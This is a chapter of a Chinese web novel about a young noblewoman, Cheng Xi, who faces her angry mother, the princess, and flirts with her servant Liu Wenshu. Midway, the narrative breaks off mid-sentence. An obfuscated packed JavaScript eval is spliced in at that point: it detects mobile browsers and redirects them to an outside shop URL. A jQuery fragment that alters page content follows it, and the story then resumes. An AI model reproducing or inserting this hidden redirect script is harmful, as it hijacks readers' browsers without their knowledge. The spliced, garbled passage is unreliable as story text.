12. 第 12 章

作品:《县主只求富贵荣华

    马车在石板上压过,车厢微微摇晃,带着逐火也飘忽不定。


    烛光照在程曦脸上,半明半暗。


    她扣紧桌沿,甩开芜杂的心思,打听起正事:“我睡着的一整日,都发生过什么?”


    春柳情不自禁仰头谢了声苍天,开始禀报她在宫中留心到的事情:“昨天您去宴席前,就有一道敕令,调任驸马的职务,让他去余吾州。据说,程家连夜安排驸马出京,携带的行李很少呢。”


    程曦低笑一声:“程辉倒是乖觉。”


    程太后厌恶了程玉,程辉就尽快把人送走,可见他还不是无药可救。


    看在这份“懂事”的面子上,程太后会给程辉留条不错的退路。


    春桃在另一旁拼命摇头:“他们今早才让人通知到长公主,长公主大怒,进宫闹了好一场。不但把程家骂得狗血淋头,言辞中对您也颇有怨言,说……说乡君只顾着自己开心,不知道拉亲爹一把。”


    “是啊,幸好乡君把这一日睡过去了,不然还要跟着太后一起安抚长公主。明眼人都知道太后时给长公主出气呢。”


    后半句“偏偏长公主看不透,还护着驸马”被春柳咽下肚。


    她们不能说乡君母亲的坏话。


    日耀长公主只有表面看着温柔,她骨子里极在意脸面,决不允许任何人在外伤了她的脸面。


    所以,驸马程玉和她分居多年,她一声不吭,不允许京中对此有任何议论;程曦拒婚不做皇子妃,她也不允许程家人进公主府的大门闹腾,让人看程曦的笑话。


    只是,在丈夫和女儿之间,长公主显然还是选择丈夫,把女儿排在了后头。


    程曦愁上心头:“糟糕了。”


    天底下确实有爽利的女人,但日耀长公主可不是那种人。


    她是会把心中不快反复咀嚼,越想越气,酝酿成强烈报复心,最后给所有事件的参与者迎头痛击的类型。


    过去,丈夫和女儿都是她保护的对象;但如今,女儿也是促成丈夫离乡远去,那女儿也是她要惩罚的对象之一。


    只去宫中告状一回,显然不够日耀长公主撒气的。


    程曦回家之后,自有一通闲气等着她来承受。


    一双大手按住程曦的太阳穴,按摩的力道适中,迅速降低突生的不适感。


    程曦握住刘问枢手腕凑过去亲了一口,顺手从手腕上撸下一只金钏,给刘问枢戴好。


    随即,她继续问:“那外祖母怎么补偿母亲的?”


    春柳忙说:“太后把长公主留在宫中吃早膳,用饭的时候,把永安侯也给请来了。听说,永安侯……”


    永安侯裴俊是个鳏夫。


    原配是家中给永安侯裴俊定下的,比他年长四岁。因为岳丈身体不好,永安后十一岁就早早完婚。


    原配进门后分三次生育了两女两子。双胞胎女儿均早已出嫁,如今两个儿子也到了谈婚事的年龄。


    永安侯正缺个操持内务的妻子。


    本朝的规矩,丈夫过世,妻子守孝一年;妻子过世,丈夫守孝三个月。


    但不知道是感情深厚,还是永安侯本人忙于公务,三年多来,他始终没有再婚。


    永安侯比日耀长公主还小了一岁,年富力强,能力突出。


    最重要的是,他的堂兄裴景一直紧密团结在程太后身边。


    程太后以为,永安侯裴俊这样的男人,正是自己女儿再嫁的好人选,直接请人进宫陪着日耀长公主早饭。


    永安后没有推脱,刮了头面,穿着簇新的衣裳前来赴宴。


    面对程太后所有问题,永安侯全部敞开回答,没有遮掩、没有矫饰,令老太太十分满意。


    至于日耀长公主……靠着他人权力生存的人,是没资格满意或者不满意的,或者说,即便不满,也只能对下面人耍耍脾气,改变不了结果。


    “乡君少不了要被折腾一场。”春桃做了结论。


    程曦顿时连家都不想回了。


    比起和母亲交流,她真的感觉陪伴外祖母的生活更加轻松愉快。


    她深吸一口气,埋头进刘问枢胸肌,深呼吸好几次,吸饱阳气缓解心情。


    死道友不死贫道。


    程曦果断下令:“选个能说会笑的战奴给母亲送过去。”


    不管日耀长公主喜欢不喜欢,送了“赔礼”至少正名她有道歉的意思,母亲用别人发泄过情绪,也不至于太难为她了。


    到时候能交流了,问题就容易解决了。


    *


    实际情况比程曦设想得更加糟糕。


    公主府的大门已然落锁了,日耀长公主根本没给女儿和她交流的机会。


    “乡君,长公主让您去程家住。您看今晚是否换个住处?”侍卫叫门后,一脸为难地向程曦禀报。


    程曦打开车窗,探身朝着紧闭的大门看几眼,果断下令:“解马,用马把门撞开。”


    春桃拉着程曦劝说:“乡君,要不算了吧。母后吩咐您的事不急在一日,您要是闹开了长公主只会更生气,更不愿意原谅您的。”


    不急?


    跟着她回到公主府的这群禁卫里面,指不定哪一个就是程太后的眼睛和耳朵。


    她的一言一行,都会被完完整整反馈到程太后耳中。


    若母亲耍小脾气就可以辖制程曦,程曦凭什么让程太后相信她入朝有和朝政争锋的能力?


    程曦推开春桃的手,拒绝好意。


    她站到车头,提声重申:“撞门!”


    马车被牵到一旁停稳。


    车夫给四匹骏马解下锁套,排成一排牵到公主府的正门边上,从左右后三个方向挡住后,用力抽马屁股。


    疼痛让骏马“唏律律”地叫着,忍无可忍之后,它们人立而起,扬起前蹄,不断蹬踹正门,想要为自己找一条生路。


    精铁马蹄和大门上的铜钉碰撞,叮当作响,远远传开。


    片刻功夫,整条街的住户都派下人出来打探消息了。


    闲言碎语充斥着街道。


    程曦在车厢中安坐,刘问枢悄悄握住程曦的手,低声说:“乡君不必感到难受,大家应该只是好奇,没有别的意思。”


    程曦反握住他的手,笑道:“你不用担心,这么大的噪音,没人不好奇才古怪呢。”


    程曦自小被人伺候着长大,喂奶的、梳头的、穿衣的、管首饰的、打水的、擦窗的、扫院子的、记账的,里里外外,少说三十多个丫鬟。


    她哪一刻不是被人注意着呢?


    像日耀长公主这种,长在万千瞩目之下,却在意他人眼光的才是性子古怪的表现。


    “乡君不觉得困扰,奴便安心了。”刘问枢伸手揽着程曦,让她能舒舒服服地靠着自己休息。


    “你别‘奴’来‘奴’去的了,说‘我’。”程曦在他胸口蹭了蹭,找个舒服的姿势放松身体,“刘问枢,你声音真好听,多和我说说话。”


    “乡君想听什么?”


    “说点你没提过的私事吧,我爱听你的声音,不管说话还是低哼,入耳都很美妙。”


    明明刚睡醒,可在刘问枢怀里,她又变得懒洋洋的。


    刘问枢睫毛轻轻抖了几下,遮住漆黑的瞳仁里流出的冷意。


    他视线一扫,车内再无其他人。


    刘问枢眯起眼睛。


    他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051916|194813||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    故意贴着少女耳畔低语:“昨日乡君让人准备的菜,我吃了一干二净。”


    “宫中名厨确实都有好手艺。既然你夸好吃,看来没有趁机看人下菜碟,弄那些温水里闷了许久的菜,糊弄差事。”程曦闭着眼睛低语。


    是他调情的话,听起来太正经了吗?


    程曦的回答为什么如此的……不以为意。


    刘问枢顿时对自己的能力充满怀疑,他进一步说:“乡君让人准备的菜色,都不常见,厨子们就算想,也没办法糊弄。”


    程曦颔首,仍旧没睁眼,“补身的都是好东西,也不是谁都吃得上的。”


    “乡君觉得膳房给我补的好么?若是乡君满意,我以后可以顿顿都这么吃。”


    程曦睁开眼,双手撑在刘问枢两侧,好奇道:“哦,他们做什么了,瞧你,这么念念不忘的,一直勾我答应许你一样的吃食。”


    刘问枢抓着程曦的手,让她贴上自己胸口滑动,感受掌下饱满的肌肉线条:“鹿肉、鹿血、鹿茸、锁阳、杜仲、海马。”


    “药效出众,乡君昨夜亲口承认‘够了’的。”


    “怎么是这些……”


    疑惑的神情终于变成了惊慌,程曦突然收紧双手,长长的指甲用力抓过皮肤。


    “都是误会!下人理解错了!”


    “唔!”


    刘问枢顿时发出一声闷哼,疼痛与爽快的情绪同时侵占了他的脸。


    他低喘着仰起头,喉结不断滚动。


    刘问枢控诉地看着程曦,用眼神指责她敢做不敢当,拿出证据:“乡君昨夜等到药效发挥足了的时辰才回房。”


    “没有这回事!”程曦急急忙忙捂住刘问枢的嘴,不允许他继续胡言乱语。


    “我只是看你身上有箭痕、鞭伤,想给你补身子。你别诬赖我!”


    刘问枢怀疑地看着她:“真的?”


    “真的!”程曦用力点头。


    嘴唇贴了贴程曦掌心,湿软的舌头在掌纹扫过。


    刘问枢的眼神变了,好像有缠绵的丝线把程曦紧紧包裹:“那我就信乡君一次。”


    “不过,”他咬了咬程曦耳垂,用只有他们俩能听到的声音说,“就算是误打误撞,乡君也很满意我补身的结果吧。”


    程曦打了他一巴掌,手上力道轻得像是小猫拍人,“不满意。”


    挨打的人不疼不痒,打人的人倒是脸红得几乎滴血。


    “我以后,天天这样伺候乡君。”唇舌裹住耳垂,刘问枢虚揽住程曦,把人抱回怀中。


    程曦锤了他几下,“谁要你天天伺候了,纵欲伤身。我才没闲工夫。”


    不等刘问枢再说,侍卫已经回来禀报:“乡君,长公主命人开门了,专门派人接乡君。”


    一顶轿子停在马车旁。


    程曦瞬间坐直,一把推开刘问枢,直接下车坐进轿子。


    少女走得利落,丝毫不受刘问枢的情绪打扰。


    “走吧。”


    轿子的窗帘落下,遮住了程曦的身影,连她的声音都显得分外遥远和模糊。


    刘问枢被留在车厢里。


    他死死盯着轿子,直到再也无法看清,才垂下眼帘,遮住眼底的失望。


    *


    轿子在公主府摇摇晃晃地走了将近两盏茶的时间才停下。


    可落轿后,一阵混乱的脚步声过后,却没人提醒程曦下轿,外头也感知不到任何光亮。


    程曦侧耳听倾听,只捕捉到轿夫们离开的脚步声。


    黑暗中,响起一阵“哗啦啦”的锁链声。


    程曦浑身汗毛倒竖,急忙掀开轿帘,“你们做什么?开门!”